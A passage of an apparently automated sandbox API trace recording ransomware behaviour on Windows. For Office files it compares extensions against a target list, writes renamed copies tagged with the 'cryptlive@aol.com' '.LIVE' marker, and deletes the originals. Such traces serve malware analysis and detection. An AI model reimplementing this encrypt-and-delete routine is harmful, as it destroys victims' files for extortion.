Office\\Office14\\FORMS\\1033\\SMSL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.475] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smsl.ico")) returned 1 [0161.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO") returned 62 [0161.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO") returned 62 [0161.476] lstrlenW (lpString=".doc") returned 4 [0161.476] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0161.476] lstrlenW (lpString=".docx") returned 5 [0161.476] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0161.476] lstrlenW (lpString=".pdf") returned 4 [0161.476] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0161.476] lstrlenW (lpString=".xls") returned 4 [0161.477] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0161.477] lstrlenW (lpString=".xlsx") returned 5 [0161.477] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0161.477] lstrlenW (lpString=".ppt") returned 4 [0161.477] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0161.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO") returned 62 [0161.477] lstrlenW (lpString=".zip") returned 4 [0161.477] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0161.477] lstrlenW (lpString=".rar") returned 4 [0161.477] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0161.477] lstrlenW (lpString=".bz2") returned 4 [0161.477] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0161.477] lstrlenW (lpString=".7z") returned 3 [0161.477] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0161.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO") returned 62 [0161.477] lstrlenW (lpString=".dbf") returned 4 [0161.477] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0161.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO") returned 62 [0161.477] lstrlenW (lpString=".1cd") returned 4 [0161.477] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0161.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO") returned 62 [0161.477] lstrlenW (lpString=".jpg") returned 4 [0161.477] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0161.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO") returned 62 [0161.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO") returned 62 [0161.477] lstrlenW (lpString=".doc") returned 4 [0161.477] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0161.477] lstrlenW (lpString=".docx") returned 5 [0161.477] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0161.477] lstrlenW (lpString=".pdf") returned 4 [0161.477] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0161.478] lstrlenW (lpString=".xls") returned 4 [0161.478] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0161.478] lstrlenW (lpString=".xlsx") returned 5 [0161.478] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0161.478] lstrlenW (lpString=".ppt") returned 4 [0161.478] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0161.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO") returned 62 [0161.478] lstrlenW (lpString=".zip") returned 4 [0161.478] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0161.478] lstrlenW (lpString=".rar") returned 4 [0161.478] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0161.478] lstrlenW (lpString=".bz2") returned 4 [0161.478] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0161.478] lstrlenW (lpString=".7z") returned 3 [0161.478] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0161.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO") returned 62 [0161.478] lstrlenW (lpString=".dbf") returned 4 [0161.478] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0161.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO") returned 62 [0161.478] lstrlenW (lpString=".1cd") returned 4 [0161.478] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0161.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO") returned 62 [0161.478] lstrlenW (lpString=".jpg") returned 4 [0161.478] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0161.478] lstrcmpiW (lpString1=".CFG", lpString2=".LIVE") returned -1 [0161.478] lstrlenW (lpString="TASKACC.CFG") returned 11 [0161.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskacc.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0161.511] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=804) returned 1 [0161.511] CloseHandle (hObject=0x1dc) returned 1 [0161.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskacc.cfg")) returned 0x20 [0161.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskacc.cfg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskacc.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0161.512] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.512] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskacc.cfg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0161.513] GetLastError () returned 0x0 [0161.513] ReadFile (in: hFile=0x1dc, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x324, lpOverlapped=0x0) returned 1 [0161.531] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x330, lpOverlapped=0x0) returned 1 [0161.532] ReadFile (in: hFile=0x1dc, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0161.532] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0161.532] SetEndOfFile (hFile=0x3a0) returned 1 [0161.533] CloseHandle (hObject=0x3a0) returned 1 [0161.533] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.533] SetEndOfFile (hFile=0x1dc) returned 1 [0161.545] CloseHandle (hObject=0x1dc) returned 1 [0161.545] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.546] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskacc.cfg")) returned 1 [0161.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG") returned 65 [0161.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG") returned 65 [0161.547] lstrlenW (lpString=".doc") returned 4 [0161.547] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0161.547] lstrlenW (lpString=".docx") returned 5 [0161.547] lstrcmpiW (lpString1=".docx", lpString2="C.CFG") returned -1 [0161.547] lstrlenW (lpString=".pdf") returned 4 [0161.547] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0161.547] lstrlenW (lpString=".xls") returned 4 [0161.547] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0161.547] lstrlenW (lpString=".xlsx") returned 5 [0161.547] lstrcmpiW (lpString1=".xlsx", lpString2="C.CFG") returned -1 [0161.547] lstrlenW (lpString=".ppt") returned 4 [0161.547] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0161.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG") returned 65 [0161.547] lstrlenW (lpString=".zip") returned 4 [0161.547] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0161.547] lstrlenW (lpString=".rar") returned 4 [0161.547] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0161.547] lstrlenW (lpString=".bz2") returned 4 [0161.548] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0161.548] lstrlenW (lpString=".7z") returned 3 [0161.548] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0161.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG") returned 65 [0161.548] lstrlenW (lpString=".dbf") returned 4 [0161.548] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0161.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG") returned 65 [0161.548] lstrlenW (lpString=".1cd") returned 4 [0161.548] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0161.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG") returned 65 [0161.548] lstrlenW (lpString=".jpg") returned 4 [0161.548] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0161.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG") returned 65 [0161.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG") returned 65 [0161.548] lstrlenW (lpString=".doc") returned 4 [0161.548] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0161.548] lstrlenW (lpString=".docx") returned 5 [0161.548] lstrcmpiW (lpString1=".docx", lpString2="C.CFG") returned -1 [0161.548] lstrlenW (lpString=".pdf") returned 4 [0161.548] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0161.548] lstrlenW (lpString=".xls") returned 4 [0161.548] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0161.548] lstrlenW (lpString=".xlsx") returned 5 [0161.548] lstrcmpiW (lpString1=".xlsx", lpString2="C.CFG") returned -1 [0161.854] lstrlenW (lpString=".ppt") returned 4 [0161.854] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0161.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG") returned 65 [0161.854] lstrlenW (lpString=".zip") returned 4 [0161.854] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0161.854] lstrlenW (lpString=".rar") returned 4 [0161.854] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0161.854] lstrlenW (lpString=".bz2") returned 4 [0161.854] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0161.854] lstrlenW (lpString=".7z") returned 3 [0161.854] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0161.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG") returned 65 [0161.854] lstrlenW (lpString=".dbf") returned 4 [0161.854] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0161.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG") returned 65 [0161.855] lstrlenW (lpString=".1cd") returned 4 [0161.855] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0161.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG") returned 65 [0161.855] lstrlenW (lpString=".jpg") returned 4 [0161.855] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0161.855] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0161.855] lstrlenW (lpString="TASKREQL.ICO") returned 12 [0161.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreql.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0161.856] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1078) returned 1 [0161.856] CloseHandle (hObject=0x3c4) returned 1 [0161.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreql.ico")) returned 0x20 [0161.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreql.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreql.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0161.856] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.856] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreql.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0161.868] GetLastError () returned 0x0 [0161.868] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x436, lpOverlapped=0x0) returned 1 [0161.870] WriteFile (in: hFile=0x384, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x440, lpOverlapped=0x0) returned 1 [0161.871] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0161.871] WriteFile (in: hFile=0x384, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0161.871] SetEndOfFile (hFile=0x384) returned 1 [0161.871] CloseHandle (hObject=0x384) returned 1 [0161.871] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.871] SetEndOfFile (hFile=0x3c4) returned 1 [0161.910] CloseHandle (hObject=0x3c4) returned 1 [0161.910] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.911] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreql.ico")) returned 1 [0161.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO") returned 66 [0161.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO") returned 66 [0161.912] lstrlenW (lpString=".doc") returned 4 [0161.912] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0161.912] lstrlenW (lpString=".docx") returned 5 [0161.912] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0161.912] lstrlenW (lpString=".pdf") returned 4 [0161.912] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0161.912] lstrlenW (lpString=".xls") returned 4 [0161.912] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0161.912] lstrlenW (lpString=".xlsx") returned 5 [0161.912] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0161.912] lstrlenW (lpString=".ppt") returned 4 [0161.912] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0161.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO") returned 66 [0161.912] lstrlenW (lpString=".zip") returned 4 [0161.912] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0161.912] lstrlenW (lpString=".rar") returned 4 [0161.912] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0161.912] lstrlenW (lpString=".bz2") returned 4 [0161.912] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0161.913] lstrlenW (lpString=".7z") returned 3 [0161.913] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0161.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO") returned 66 [0161.913] lstrlenW (lpString=".dbf") returned 4 [0161.913] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0161.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO") returned 66 [0161.913] lstrlenW (lpString=".1cd") returned 4 [0161.913] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0161.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO") returned 66 [0161.913] lstrlenW (lpString=".jpg") returned 4 [0161.913] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0161.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO") returned 66 [0161.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO") returned 66 [0161.913] lstrlenW (lpString=".doc") returned 4 [0161.913] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0161.913] lstrlenW (lpString=".docx") returned 5 [0161.913] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0161.913] lstrlenW (lpString=".pdf") returned 4 [0161.913] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0161.913] lstrlenW (lpString=".xls") returned 4 [0161.913] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0161.913] lstrlenW (lpString=".xlsx") returned 5 [0161.913] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0161.913] lstrlenW (lpString=".ppt") returned 4 [0161.913] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0161.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO") returned 66 [0161.913] lstrlenW (lpString=".zip") returned 4 [0161.913] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0161.913] lstrlenW (lpString=".rar") returned 4 [0161.913] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0161.913] lstrlenW (lpString=".bz2") returned 4 [0161.913] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0161.913] lstrlenW (lpString=".7z") returned 3 [0161.913] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0161.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO") returned 66 [0161.913] lstrlenW (lpString=".dbf") returned 4 [0161.914] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0161.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO") returned 66 [0161.914] lstrlenW (lpString=".1cd") returned 4 [0161.914] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0161.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO") returned 66 [0161.914] lstrlenW (lpString=".jpg") returned 4 [0161.914] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0161.914] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0161.914] lstrlenW (lpString="TASKREQS.ICO") returned 12 [0161.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreqs.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0161.915] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=2998) returned 1 [0161.915] CloseHandle (hObject=0x3c4) returned 1 [0161.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreqs.ico")) returned 0x20 [0161.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreqs.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreqs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0161.915] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.915] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreqs.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 59 os_tid = 0x674 [0126.705] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x3a220f8 [0126.705] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x3a32100 [0126.706] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0350 [0126.706] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x6) returned 0x93ed98 [0126.706] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0368 [0126.706] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x100000) returned 0x3fe0020 [0126.706] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0380 [0126.706] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d0380, Size=0x20) returned 0x39c0b78 [0126.706] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0380 [0126.706] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d0380, Size=0x20) returned 0x39c0b50 [0126.706] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75080000 [0126.706] GetProcAddress (hModule=0x75080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750ad650 [0126.706] Wow64DisableWow64FsRedirection (in: OldValue=0x33cff58 | out: OldValue=0x33cff58*=0x0) returned 1 [0126.707] lstrlenW (lpString="kernel32.dll") returned 12 [0126.707] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39c0b78 | out: hHeap=0x880000) returned 1 [0126.707] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0126.707] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39c0b50 | out: hHeap=0x880000) returned 1 [0126.707] Sleep (dwMilliseconds=0x64) [0127.223] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0127.223] lstrlenW (lpString="Content.xml") returned 11 [0127.223] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0127.368] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=27045) returned 1 [0127.368] CloseHandle 